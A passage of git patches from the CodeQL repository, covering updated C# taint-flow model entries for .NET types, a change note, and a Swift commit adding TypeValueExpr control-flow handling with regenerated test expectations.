+17261,7 @@ | System;Exception;Exception;(System.String);Argument[0];Argument[this].SyntheticField[System.Exception._message];value;dfc-generated | | System;Exception;Exception;(System.String,System.Exception);Argument[0];Argument[this].SyntheticField[System.Exception._message];value;dfc-generated | | System;Exception;Exception;(System.String,System.Exception);Argument[1];Argument[this].SyntheticField[System.Exception._innerException];value;dfc-generated | -| System;Exception;GetBaseException;();Argument[this];ReturnValue;taint;df-generated | +| System;Exception;GetBaseException;();Argument[this];ReturnValue;value;df-generated | | System;Exception;ToString;();Argument[this];ReturnValue;taint;df-generated | | System;Exception;add_SerializeObjectState;(System.EventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System;Exception;get_InnerException;();Argument[this].SyntheticField[System.Exception._innerException];ReturnValue;value;dfc-generated | @@ -17961,9 +18179,8 @@ | System;Uri;GetComponents;(System.UriComponents,System.UriFormat);Argument[this];ReturnValue;taint;df-generated | | System;Uri;GetLeftPart;(System.UriPartial);Argument[this];ReturnValue;taint;df-generated | | System;Uri;MakeRelative;(System.Uri);Argument[0];ReturnValue;taint;df-generated | -| System;Uri;MakeRelativeUri;(System.Uri);Argument[0];ReturnValue;taint;df-generated | +| System;Uri;MakeRelativeUri;(System.Uri);Argument[0];ReturnValue;value;df-generated | | System;Uri;ToString;();Argument[this];ReturnValue;taint;manual | -| System;Uri;ToString;(System.String,System.IFormatProvider);Argument[this].SyntheticField[System.Uri._string];ReturnValue;value;dfc-generated | | System;Uri;TryCreate;(System.String,System.UriCreationOptions,System.Uri);Argument[0];Argument[2];taint;manual | | System;Uri;TryCreate;(System.String,System.UriKind,System.Uri);Argument[0];Argument[2];taint;manual | | System;Uri;TryCreate;(System.Uri,System.String,System.Uri);Argument[0];Argument[2];taint;manual | @@ -18048,9 +18265,14 @@ | System;UriTypeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System;UriTypeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System;UriTypeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Property[System.Uri.OriginalString];ReturnValue;value;df-generated | | System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Property[System.Uri.OriginalString];ReturnValue;value;dfc-generated | +| System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System;ValueTuple;Create;(T1,T2,T3,T4,T5,T6,T7,T8);Argument[0];ReturnValue.Field[System.ValueTuple`8.Item1];value;manual | | System;ValueTuple;Create;(T1,T2,T3,T4,T5,T6,T7,T8);Argument[1];ReturnValue.Field[System.ValueTuple`8.Item2];value;manual | | System;ValueTuple;Create;(T1,T2,T3,T4,T5,T6,T7,T8);Argument[2];ReturnValue.Field[System.ValueTuple`8.Item3];value;manual | From f9559060f1f3d264714ab07bfacfce37ddcdd931 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Wed, 14 May 2025 10:37:28 +0200 Subject: [PATCH 133/535] C#: Add change note. --- csharp/ql/lib/change-notes/2025-05-14-dotnet-models.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 csharp/ql/lib/change-notes/2025-05-14-dotnet-models.md diff --git a/csharp/ql/lib/change-notes/2025-05-14-dotnet-models.md b/csharp/ql/lib/change-notes/2025-05-14-dotnet-models.md new file mode 100644 index 000000000000..c45cce859826 --- /dev/null +++ b/csharp/ql/lib/change-notes/2025-05-14-dotnet-models.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* The generated Models as Data (MaD) models for .NET 9 Runtime have been updated and are now more precise (due to a recent model generator improvement). From 2388dd06d40ededdca21b88d96619c198bb1426e Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Wed, 14 May 2025 11:16:44 +0200 Subject: [PATCH 134/535] Swift: add new `TypeValueExpr` to CFG --- .../internal/ControlFlowGraphImpl.qll | 4 + .../ql/test/library-tests/ast/Errors.expected | 2 + .../test/library-tests/ast/Missing.expected | 2 + .../test/library-tests/ast/PrintAst.expected | 140 ++++++++++++++---- swift/ql/test/library-tests/ast/cfg.swift | 15 +- .../controlflow/graph/Cfg.expected | 112 ++++++++++---- .../library-tests/controlflow/graph/cfg.swift | 15 +- swift/tools/qltest.sh | 4 +- 8 files changed, 228 insertions(+), 66 deletions(-) diff --git a/swift/ql/lib/codeql/swift/controlflow/internal/ControlFlowGraphImpl.qll b/swift/ql/lib/codeql/swift/controlflow/internal/ControlFlowGraphImpl.qll index 3d2b33e88906..b610ff0b0f3d 100644 --- a/swift/ql/lib/codeql/swift/controlflow/internal/ControlFlowGraphImpl.qll +++ b/swift/ql/lib/codeql/swift/controlflow/internal/ControlFlowGraphImpl.qll @@ -1884,6 +1884,10 @@ module Exprs { } } + private class TypeValueTree extends AstLeafTree { + override TypeValueExpr ast; + } + module Conversions { class ConversionOrIdentity = Synth::TIdentityExpr or Synth::TExplicitCastExpr or Synth::TImplicitConversionExpr or diff --git a/swift/ql/test/library-tests/ast/Errors.expected b/swift/ql/test/library-tests/ast/Errors.expected index e69de29bb2d1..e6ccf0718515 100644 --- a/swift/ql/test/library-tests/ast/Errors.expected +++ b/swift/ql/test/library-tests/ast/Errors.expected @@ -0,0 +1,2 @@ +| cfg.swift:591:13:591:13 | missing type from TypeRepr | UnspecifiedElement | +| cfg.swift:595:13:595:13 | missing type from TypeRepr | UnspecifiedElement | diff --git a/swift/ql/test/library-tests/ast/Missing.expected b/swift/ql/test/library-tests/ast/Missing.expected index e69de29bb2d1..1966db9b8904 100644 --- a/swift/ql/test/library-tests/ast/Missing.expected +++ b/swift/ql/test/library-tests/ast/Missing.expected @@ -0,0 +1,2 @@ +| cfg.swift:591:13:591:13 | missing type from TypeRepr | +| cfg.swift:595:13:595:13 | missing type from TypeRepr | diff --git a/swift/ql/test/library-tests/ast/PrintAst.expected b/swift/ql/test/library-tests/ast/PrintAst.expected index f3f0aa1cfd2a..248401ac8140 100644 --- a/swift/ql/test/library-tests/ast/PrintAst.expected +++ b/swift/ql/test/library-tests/ast/PrintAst.expected @@ -521,15 +521,15 @@ cfg.swift: # 113| Type = Int # 114| getVariable(4): [ConcreteVarDecl] n4 # 114| Type = Int -# 116| getVariable(5): [ConcreteVarDecl] n5 +# 115| getVariable(5): [ConcreteVarDecl] n5 +# 115| Type = Int +# 116| getVariable(6): [ConcreteVarDecl] n6 # 116| Type = Int -# 117| getVariable(6): [ConcreteVarDecl] n6 -# 117| Type = Int -# 118| getVariable(7): [ConcreteVarDecl] n7 +# 118| getVariable(7): [ConcreteVarDecl] n8 # 118| Type = Int -# 119| getVariable(8): [ConcreteVarDecl] n8 -# 119| Type = Int -# 121| getVariable(9): [ConcreteVarDecl] n9 +# 120| getVariable(8): [ConcreteVarDecl] n9 +# 120| Type = Int +# 121| getVariable(9): [ConcreteVarDecl] n7 # 121| Type = Int # 122| getVariable(10): [ConcreteVarDecl] n10 # 122| Type = Int @@ -584,33 +584,33 @@ cfg.swift: # 114| getBase().getFullyConverted(): [DotSelfExpr] .self # 114| getMethodRef(): [DeclRefExpr] getMyInt() # 114| getPattern(0): [NamedPattern] n4 -# 116| getElement(5): [PatternBindingDecl] var ... = ... +# 115| getElement(5): [PatternBindingDecl] var ... = ... +# 115| getInit(0): [MemberRefExpr] .myInt +# 115| getBase(): [DeclRefExpr] param +# 115| getPattern(0): [NamedPattern] n5 +# 116| getElement(6): [PatternBindingDecl] var ... = ... # 116| getInit(0): [MemberRefExpr] .myInt # 116| getBase(): [DeclRefExpr] param -# 116| getPattern(0): [NamedPattern] n5 -# 117| getElement(6): [PatternBindingDecl] var ... = ... -# 117| getInit(0): [MemberRefExpr] .myInt -# 117| getBase(): [DeclRefExpr] param -# 117| getBase().getFullyConverted(): [DotSelfExpr] .self -# 117| getPattern(0): [NamedPattern] n6 +# 116| getBase().getFullyConverted(): [DotSelfExpr] .self +# 116| getPattern(0): [NamedPattern] n6 # 118| getElement(7): [PatternBindingDecl] var ... = ... # 118| getInit(0): [CallExpr] call to getMyInt() # 118| getFunction(): [MethodLookupExpr] .getMyInt() # 118| getBase(): [DeclRefExpr] param +# 118| getBase().getFullyConverted(): [DotSelfExpr] .self # 118| getMethodRef(): [DeclRefExpr] getMyInt() -# 118| getPattern(0): [NamedPattern] n7 -# 119| getElement(8): [PatternBindingDecl] var ... = ... -# 119| getInit(0): [CallExpr] call to getMyInt() -# 119| getFunction(): [MethodLookupExpr] .getMyInt() -# 119| getBase(): [DeclRefExpr] param -# 119| getBase().getFullyConverted(): [DotSelfExpr] .self -# 119| getMethodRef(): [DeclRefExpr] getMyInt() -# 119| getPattern(0): [NamedPattern] n8 +# 118| getPattern(0): [NamedPattern] n8 +# 120| getElement(8): [PatternBindingDecl] var ... = ... +# 120| getInit(0): [MemberRefExpr] .myInt +# 120| getBase(): [DeclRefExpr] inoutParam +# 120| getBase().getFullyConverted(): [LoadExpr] (C) ... +# 120| getPattern(0): [NamedPattern] n9 # 121| getElement(9): [PatternBindingDecl] var ... = ... -# 121| getInit(0): [MemberRefExpr] .myInt -# 121| getBase(): [DeclRefExpr] inoutParam -# 121| getBase().getFullyConverted(): [LoadExpr] (C) ... -# 121| getPattern(0): [NamedPattern] n9 +# 121| getInit(0): [CallExpr] call to getMyInt() +# 121| getFunction(): [MethodLookupExpr] .getMyInt() +# 121| getBase(): [DeclRefExpr] param +# 121| getMethodRef(): [DeclRefExpr] getMyInt() +# 121| getPattern(0): [NamedPattern] n7 # 122| getElement(10): [PatternBindingDecl] var ... = ... # 122| getInit(0): [MemberRefExpr] .myInt # 122| getBase(): [DeclRefExpr] inoutParam @@ -3307,11 +3307,13 @@ cfg.swift: # 533| getBase().getFullyConverted(): [LoadExpr] (AsyncStream) ... #-----| getMethodRef(): [DeclRefExpr] makeAsyncIterator() # 533| getPattern(0): [NamedPattern] $i$generator -# 533| getNextCall(): [CallExpr] call to next() -# 533| getFunction(): [MethodLookupExpr] .next() +# 533| getNextCall(): [CallExpr] call to next(isolation:) +# 533| getFunction(): [MethodLookupExpr] .next(isolation:) # 533| getBase(): [DeclRefExpr] $i$generator # 533| getBase().getFullyConverted(): [InOutExpr] &... -#-----| getMethodRef(): [DeclRefExpr] next() +#-----| getMethodRef(): [DeclRefExpr] next(isolation:) +# 533| getArgument(0): [Argument] isolation: CurrentContextIsolationExpr +# 533| getExpr(): [CurrentContextIsolationExpr] CurrentContextIsolationExpr # 533| getNextCall().getFullyConverted(): [AwaitExpr] await ... # 533| getBody(): [BraceStmt] { ... } # 534| getElement(0): [CallExpr] call to print(_:separator:terminator:) @@ -3326,6 +3328,7 @@ cfg.swift: # 534| getArgument(2): [Argument] terminator: default terminator # 534| getExpr(): [DefaultArgumentExpr] default terminator # 525| [NilLiteralExpr] nil +# 533| [NilLiteralExpr] nil # 538| [NamedFunction] testNilCoalescing(x:) # 538| InterfaceType = (Int?) -> Int # 538| getParam(0): [ParamDecl] x @@ -3543,6 +3546,85 @@ cfg.swift: # 582| Type = Int # 587| [Comment] // --- # 587| +# 589| [Comment] //codeql-extractor-options: -enable-experimental-feature ValueGenerics -disable-availability-checking +# 589| +# 590| [StructDecl] ValueGenericsStruct +# 590| getGenericTypeParam(0): [GenericTypeParamDecl] N +# 591| getMember(0): [PatternBindingDecl] var ... = ... +# 591| getInit(0): [TypeValueExpr] TypeValueExpr +# 591| getTypeRepr(): (no string representation) +# 591| getPattern(0): [NamedPattern] x +# 591| getMember(1): [ConcreteVarDecl] x +# 591| Type = Int +# 591| getAccessor(0): [Accessor] get +# 591| InterfaceType = (ValueGenericsStruct) -> () -> Int +# 591| getSelfParam(): [ParamDecl] self +# 591| Type = ValueGenericsStruct +# 591| getBody(): [BraceStmt] { ... } +#-----| getElement(0): [ReturnStmt] return ... +#-----| getResult(): [MemberRefExpr] .x +#-----| getBase(): [DeclRefExpr] self +# 591| getAccessor(1): [Accessor] set +# 591| InterfaceType = (inout ValueGenericsStruct) -> (Int) -> () +# 591| getSelfParam(): [ParamDecl] self +# 591| Type = ValueGenericsStruct +# 591| getParam(0): [ParamDecl] value +# 591| Type = Int +# 591| getBody(): [BraceStmt] { ... } +#-----| getElement(0): [AssignExpr] ... = ... +#-----| getDest(): [MemberRefExpr] .x +#-----| getBase(): [DeclRefExpr] self +#-----| getSource(): [DeclRefExpr] value +# 591| getAccessor(2): [Accessor] _modify +# 591| InterfaceType = (inout ValueGenericsStruct) -> () -> () +# 591| getSelfParam(): [ParamDecl] self +# 591| Type = ValueGenericsStruct +# 591| getBody(): [BraceStmt] { ... } +# 591| getElement(0): [YieldStmt] yield ... +#-----| getResult(0): [MemberRefExpr] .x +#-----| getBase(): [DeclRefExpr] self +#-----| getResult(0).getFullyConverted(): [InOutExpr] &... +# 590| getMember(2): [Initializer] ValueGenericsStruct.init(x:) +# 590| InterfaceType = (ValueGenericsStruct.Type) -> (Int) -> ValueGenericsStruct +# 590| getSelfParam(): [ParamDecl] self +# 590| Type = ValueGenericsStruct +# 590| getParam(0): [ParamDecl] x +# 590| Type = Int +# 590| getMember(3): [Initializer] ValueGenericsStruct.init() +# 590| InterfaceType = (ValueGenericsStruct.Type) -> () -> ValueGenericsStruct +# 590| getSelfParam(): [ParamDecl] self +# 590| Type = ValueGenericsStruct +# 590| getBody(): [BraceStmt] { ... } +# 590| getElement(0): [ReturnStmt] return +# 591| [UnspecifiedElement] missing type from TypeRepr +# 594| [NamedFunction] valueGenericsFn(_:) +# 594| InterfaceType = (ValueGenericsStruct) -> () +# 594| getGenericTypeParam(0): [GenericTypeParamDecl] N +# 594| getParam(0): [ParamDecl] value +# 594| Type = ValueGenericsStruct +# 594| getBody(): [BraceStmt] { ... } +# 595| getVariable(0): [ConcreteVarDecl] x +# 595| Type = Int +# 595| getElement(0): [PatternBindingDecl] var ... = ... +# 595| getInit(0): [TypeValueExpr] TypeValueExpr +# 595| getTypeRepr(): (no string representation) +# 595| getPattern(0): [NamedPattern] x +# 596| getElement(1): [CallExpr] call to print(_:separator:terminator:) +# 596| getFunction(): [DeclRefExpr] print(_:separator:terminator:) +# 596| getArgument(0): [Argument] : [...] +# 596| getExpr(): [VarargExpansionExpr] [...] +# 596| getSubExpr(): [ArrayExpr] [...] +# 596| getElement(0): [DeclRefExpr] x +# 596| getElement(0).getFullyConverted(): [ErasureExpr] (Any) ... +# 596| getSubExpr(): [LoadExpr] (Int) ... +# 596| getArgument(1): [Argument] separator: default separator +# 596| getExpr(): [DefaultArgumentExpr] default separator +# 596| getArgument(2): [Argument] terminator: default terminator +# 596| getExpr(): [DefaultArgumentExpr] default terminator +# 597| getElement(2): [AssignExpr] ... = ... +# 597| getDest(): [DiscardAssignmentExpr] _ +# 597| getSource(): [DeclRefExpr] value +# 595| [UnspecifiedElement] missing type from TypeRepr declarations.swift: # 1| [StructDecl] Foo # 2| getMember(0): [PatternBindingDecl] var ... = ... diff --git a/swift/ql/test/library-tests/ast/cfg.swift b/swift/ql/test/library-tests/ast/cfg.swift index 09090fc70baa..b26ac41693c6 100644 --- a/swift/ql/test/library-tests/ast/cfg.swift +++ b/swift/ql/test/library-tests/ast/cfg.swift @@ -112,13 +112,13 @@ func testMemberRef(param : C, inoutParam : inout C, opt : C?) { let n2 = c.self.myInt let n3 = c.getMyInt() let n4 = c.self.getMyInt() - let n5 = param.myInt let n6 = param.self.myInt - let n7 = param.getMyInt() + let n8 = param.self.getMyInt() let n9 = inoutParam.myInt + let n7 = param.getMyInt() let n10 = inoutParam.self.myInt let n11 = inoutParam.getMyInt() let n12 = inoutParam.self.getMyInt() @@ -585,3 +585,14 @@ func singleStmtExpr(_ x: Int) { let b = if (x < 42) { 1 } else { 2 } } // --- + +//codeql-extractor-options: -enable-experimental-feature ValueGenerics -disable-availability-checking +struct ValueGenericsStruct { + var x = N; +} + +func valueGenericsFn(_ value: ValueGenericsStruct) { + var x = N; + print(x); + _ = value; +} diff --git a/swift/ql/test/library-tests/controlflow/graph/Cfg.expected b/swift/ql/test/library-tests/controlflow/graph/Cfg.expected index 41f64f27d717..06d3ffbbc114 100644 --- a/swift/ql/test/library-tests/controlflow/graph/Cfg.expected +++ b/swift/ql/test/library-tests/controlflow/graph/Cfg.expected @@ -354,37 +354,37 @@ | cfg.swift:113:12:113:12 | c | cfg.swift:113:12:113:23 | call to getMyInt() | | | cfg.swift:113:12:113:14 | .getMyInt() | cfg.swift:113:12:113:12 | c | | | cfg.swift:113:12:113:23 | call to getMyInt() | cfg.swift:113:3:113:23 | var ... = ... | | -| cfg.swift:114:3:114:28 | var ... = ... | cfg.swift:116:7:116:7 | n5 | | +| cfg.swift:114:3:114:28 | var ... = ... | cfg.swift:115:7:115:7 | n5 | | | cfg.swift:114:7:114:7 | n4 | cfg.swift:114:12:114:19 | .getMyInt() | match | | cfg.swift:114:12:114:12 | c | cfg.swift:114:12:114:14 | .self | | | cfg.swift:114:12:114:14 | .self | cfg.swift:114:12:114:28 | call to getMyInt() | | | cfg.swift:114:12:114:19 | .getMyInt() | cfg.swift:114:12:114:12 | c | | | cfg.swift:114:12:114:28 | call to getMyInt() | cfg.swift:114:3:114:28 | var ... = ... | | -| cfg.swift:116:3:116:18 | var ... = ... | cfg.swift:117:7:117:7 | n6 | | -| cfg.swift:116:7:116:7 | n5 | cfg.swift:116:12:116:12 | param | match | -| cfg.swift:116:12:116:12 | param | cfg.swift:116:12:116:18 | getter for .myInt | | -| cfg.swift:116:12:116:18 | getter for .myInt | cfg.swift:116:3:116:18 | var ... = ... | | -| cfg.swift:117:3:117:23 | var ... = ... | cfg.swift:118:7:118:7 | n7 | | -| cfg.swift:117:7:117:7 | n6 | cfg.swift:117:12:117:12 | param | match | -| cfg.swift:117:12:117:12 | param | cfg.swift:117:12:117:18 | .self | | -| cfg.swift:117:12:117:18 | .self | cfg.swift:117:12:117:23 | getter for .myInt | | -| cfg.swift:117:12:117:23 | getter for .myInt | cfg.swift:117:3:117:23 | var ... = ... | | -| cfg.swift:118:3:118:27 | var ... = ... | cfg.swift:119:7:119:7 | n8 | | -| cfg.swift:118:7:118:7 | n7 | cfg.swift:118:12:118:18 | .getMyInt() | match | -| cfg.swift:118:12:118:12 | param | cfg.swift:118:12:118:27 | call to getMyInt() | | -| cfg.swift:118:12:118:18 | .getMyInt() | cfg.swift:118:12:118:12 | param | | -| cfg.swift:118:12:118:27 | call to getMyInt() | cfg.swift:118:3:118:27 | var ... = ... | | -| cfg.swift:119:3:119:32 | var ... = ... | cfg.swift:121:7:121:7 | n9 | | -| cfg.swift:119:7:119:7 | n8 | cfg.swift:119:12:119:23 | .getMyInt() | match | -| cfg.swift:119:12:119:12 | param | cfg.swift:119:12:119:18 | .self | | -| cfg.swift:119:12:119:18 | .self | cfg.swift:119:12:119:32 | call to getMyInt() | | -| cfg.swift:119:12:119:23 | .getMyInt() | cfg.swift:119:12:119:12 | param | | -| cfg.swift:119:12:119:32 | call to getMyInt() | cfg.swift:119:3:119:32 | var ... = ... | | -| cfg.swift:121:3:121:23 | var ... = ... | cfg.swift:122:7:122:7 | n10 | | -| cfg.swift:121:7:121:7 | n9 | cfg.swift:121:12:121:12 | inoutParam | match | -| cfg.swift:121:12:121:12 | (C) ... | cfg.swift:121:12:121:23 | getter for .myInt | | -| cfg.swift:121:12:121:12 | inoutParam | cfg.swift:121:12:121:12 | (C) ... | | -| cfg.swift:121:12:121:23 | getter for .myInt | cfg.swift:121:3:121:23 | var ... = ... | | +| cfg.swift:115:3:115:18 | var ... = ... | cfg.swift:116:7:116:7 | n6 | | +| cfg.swift:115:7:115:7 | n5 | cfg.swift:115:12:115:12 | param | match | +| cfg.swift:115:12:115:12 | param | cfg.swift:115:12:115:18 | getter for .myInt | | +| cfg.swift:115:12:115:18 | getter for .myInt | cfg.swift:115:3:115:18 | var ... = ... | | +| cfg.swift:116:3:116:23 | var ... = ... | cfg.swift:118:7:118:7 | n8 | | +| cfg.swift:116:7:116:7 | n6 | cfg.swift:116:12:116:12 | param | match | +| cfg.swift:116:12:116:12 | param | cfg.swift:116:12:116:18 | .self | | +| cfg.swift:116:12:116:18 | .self | cfg.swift:116:12:116:23 | getter for .myInt | | +| cfg.swift:116:12:116:23 | getter for .myInt | cfg.swift:116:3:116:23 | var ... = ... | | +| cfg.swift:118:3:118:32 | var ... = ... | cfg.swift:120:7:120:7 | n9 | | +| cfg.swift:118:7:118:7 | n8 | cfg.swift:118:12:118:23 | .getMyInt() | match | +| cfg.swift:118:12:118:12 | param | cfg.swift:118:12:118:18 | .self | | +| cfg.swift:118:12:118:18 | .self | cfg.swift:118:12:118:32 | call to getMyInt() | | +| cfg.swift:118:12:118:23 | .getMyInt() | cfg.swift:118:12:118:12 | param | | +| cfg.swift:118:12:118:32 | call to getMyInt() | cfg.swift:118:3:118:32 | var ... = ... | | +| cfg.swift:120:3:120:23 | var ... = ... | cfg.swift:121:7:121:7 | n7 | | +| cfg.swift:120:7:120:7 | n9 | cfg.swift:120:12:120:12 | inoutParam | match | +| cfg.swift:120:12:120:12 | (C) ... | cfg.swift:120:12:120:23 | getter for .myInt | | +| cfg.swift:120:12:120:12 | inoutParam | cfg.swift:120:12:120:12 | (C) ... | | +| cfg.swift:120:12:120:23 | getter for .myInt | cfg.swift:120:3:120:23 | var ... = ... | | +| cfg.swift:121:3:121:27 | var ... = ... | cfg.swift:122:7:122:7 | n10 | | +| cfg.swift:121:7:121:7 | n7 | cfg.swift:121:12:121:18 | .getMyInt() | match | +| cfg.swift:121:12:121:12 | param | cfg.swift:121:12:121:27 | call to getMyInt() | | +| cfg.swift:121:12:121:18 | .getMyInt() | cfg.swift:121:12:121:12 | param | | +| cfg.swift:121:12:121:27 | call to getMyInt() | cfg.swift:121:3:121:27 | var ... = ... | | | cfg.swift:122:3:122:29 | var ... = ... | cfg.swift:123:7:123:7 | n11 | | | cfg.swift:122:7:122:7 | n10 | cfg.swift:122:13:122:13 | inoutParam | match | | cfg.swift:122:13:122:13 | inoutParam | cfg.swift:122:13:122:24 | .self | | @@ -2035,10 +2035,12 @@ | cfg.swift:529:17:529:30 | .finish() | cfg.swift:529:17:529:17 | continuation | | | cfg.swift:529:17:529:37 | call to finish() | cfg.swift:525:27:530:13 | exit { ... } (normal) | | | cfg.swift:533:5:533:5 | $i$generator | cfg.swift:533:5:533:5 | &... | | -| cfg.swift:533:5:533:5 | &... | cfg.swift:533:5:533:5 | call to next() | | -| cfg.swift:533:5:533:5 | .next() | cfg.swift:533:5:533:5 | $i$generator | | +| cfg.swift:533:5:533:5 | &... | cfg.swift:533:5:533:5 | nil | | +| cfg.swift:533:5:533:5 | .next(isolation:) | cfg.swift:533:5:533:5 | $i$generator | | +| cfg.swift:533:5:533:5 | CurrentContextIsolationExpr | cfg.swift:533:5:533:5 | call to next(isolation:) | | | cfg.swift:533:5:533:5 | await ... | cfg.swift:533:5:535:5 | for ... in ... { ... } | | -| cfg.swift:533:5:533:5 | call to next() | cfg.swift:533:5:533:5 | await ... | | +| cfg.swift:533:5:533:5 | call to next(isolation:) | cfg.swift:533:5:533:5 | await ... | | +| cfg.swift:533:5:533:5 | nil | cfg.swift:533:5:533:5 | CurrentContextIsolationExpr | | | cfg.swift:533:5:535:5 | for ... in ... { ... } | cfg.swift:522:1:536:1 | exit testAsyncFor() (normal) | empty | | cfg.swift:533:5:535:5 | for ... in ... { ... } | cfg.swift:533:19:533:19 | i | non-empty | | cfg.swift:533:19:533:19 | i | cfg.swift:534:9:534:9 | print(_:separator:terminator:) | match | @@ -2048,7 +2050,7 @@ | cfg.swift:533:24:533:24 | call to makeAsyncIterator() | file://:0:0:0:0 | var ... = ... | | | cfg.swift:533:24:533:24 | stream | cfg.swift:533:24:533:24 | (AsyncStream) ... | | | cfg.swift:534:9:534:9 | print(_:separator:terminator:) | cfg.swift:534:15:534:15 | i | | -| cfg.swift:534:9:534:16 | call to print(_:separator:terminator:) | cfg.swift:533:5:533:5 | .next() | | +| cfg.swift:534:9:534:16 | call to print(_:separator:terminator:) | cfg.swift:533:5:533:5 | .next(isolation:) | | | cfg.swift:534:14:534:14 | default separator | cfg.swift:534:14:534:14 | default terminator | | | cfg.swift:534:14:534:14 | default terminator | cfg.swift:534:9:534:16 | call to print(_:separator:terminator:) | | | cfg.swift:534:15:534:15 | (Any) ... | cfg.swift:534:15:534:15 | [...] | | @@ -2220,6 +2222,44 @@ | cfg.swift:585:25:585:25 | ThenStmt | cfg.swift:585:11:585:38 | SingleValueStmtExpr | | | cfg.swift:585:36:585:36 | 2 | cfg.swift:585:36:585:36 | ThenStmt | | | cfg.swift:585:36:585:36 | ThenStmt | cfg.swift:585:11:585:38 | SingleValueStmtExpr | | +| cfg.swift:590:8:590:8 | ValueGenericsStruct.init() | cfg.swift:590:8:590:8 | self | | +| cfg.swift:590:8:590:8 | enter ValueGenericsStruct.init() | cfg.swift:590:8:590:8 | ValueGenericsStruct.init() | | +| cfg.swift:590:8:590:8 | exit ValueGenericsStruct.init() (normal) | cfg.swift:590:8:590:8 | exit ValueGenericsStruct.init() | | +| cfg.swift:590:8:590:8 | return | cfg.swift:590:8:590:8 | exit ValueGenericsStruct.init() (normal) | return | +| cfg.swift:590:8:590:8 | self | cfg.swift:590:8:590:8 | return | | +| cfg.swift:591:9:591:9 | _modify | cfg.swift:591:9:591:9 | self | | +| cfg.swift:591:9:591:9 | enter _modify | cfg.swift:591:9:591:9 | _modify | | +| cfg.swift:591:9:591:9 | enter get | cfg.swift:591:9:591:9 | get | | +| cfg.swift:591:9:591:9 | enter set | cfg.swift:591:9:591:9 | set | | +| cfg.swift:591:9:591:9 | exit _modify (normal) | cfg.swift:591:9:591:9 | exit _modify | | +| cfg.swift:591:9:591:9 | exit get (normal) | cfg.swift:591:9:591:9 | exit get | | +| cfg.swift:591:9:591:9 | exit set (normal) | cfg.swift:591:9:591:9 | exit set | | +| cfg.swift:591:9:591:9 | get | cfg.swift:591:9:591:9 | self | | +| cfg.swift:591:9:591:9 | self | cfg.swift:591:9:591:9 | value | | +| cfg.swift:591:9:591:9 | self | file://:0:0:0:0 | self | | +| cfg.swift:591:9:591:9 | self | file://:0:0:0:0 | self | | +| cfg.swift:591:9:591:9 | set | cfg.swift:591:9:591:9 | self | | +| cfg.swift:591:9:591:9 | value | file://:0:0:0:0 | self | | +| cfg.swift:591:9:591:9 | yield ... | cfg.swift:591:9:591:9 | exit _modify (normal) | | +| cfg.swift:594:1:598:1 | enter valueGenericsFn(_:) | cfg.swift:594:1:598:1 | valueGenericsFn(_:) | | +| cfg.swift:594:1:598:1 | exit valueGenericsFn(_:) (normal) | cfg.swift:594:1:598:1 | exit valueGenericsFn(_:) | | +| cfg.swift:594:1:598:1 | valueGenericsFn(_:) | cfg.swift:594:34:594:64 | value | | +| cfg.swift:594:34:594:64 | value | cfg.swift:595:9:595:9 | x | | +| cfg.swift:595:5:595:13 | var ... = ... | cfg.swift:596:5:596:5 | print(_:separator:terminator:) | | +| cfg.swift:595:9:595:9 | x | cfg.swift:595:13:595:13 | TypeValueExpr | match | +| cfg.swift:595:13:595:13 | TypeValueExpr | cfg.swift:595:5:595:13 | var ... = ... | | +| cfg.swift:596:5:596:5 | print(_:separator:terminator:) | cfg.swift:596:11:596:11 | x | | +| cfg.swift:596:5:596:12 | call to print(_:separator:terminator:) | cfg.swift:597:5:597:5 | _ | | +| cfg.swift:596:10:596:10 | default separator | cfg.swift:596:10:596:10 | default terminator | | +| cfg.swift:596:10:596:10 | default terminator | cfg.swift:596:5:596:12 | call to print(_:separator:terminator:) | | +| cfg.swift:596:11:596:11 | (Any) ... | cfg.swift:596:11:596:11 | [...] | | +| cfg.swift:596:11:596:11 | (Int) ... | cfg.swift:596:11:596:11 | (Any) ... | | +| cfg.swift:596:11:596:11 | [...] | cfg.swift:596:10:596:10 | default separator | | +| cfg.swift:596:11:596:11 | [...] | cfg.swift:596:11:596:11 | [...] | | +| cfg.swift:596:11:596:11 | x | cfg.swift:596:11:596:11 | (Int) ... | | +| cfg.swift:597:5:597:5 | _ | cfg.swift:597:9:597:9 | value | | +| cfg.swift:597:5:597:9 | ... = ... | cfg.swift:594:1:598:1 | exit valueGenericsFn(_:) (normal) | | +| cfg.swift:597:9:597:9 | value | cfg.swift:597:5:597:9 | ... = ... | | | file://:0:0:0:0 | ... = ... | cfg.swift:394:7:394:7 | exit set (normal) | | | file://:0:0:0:0 | ... 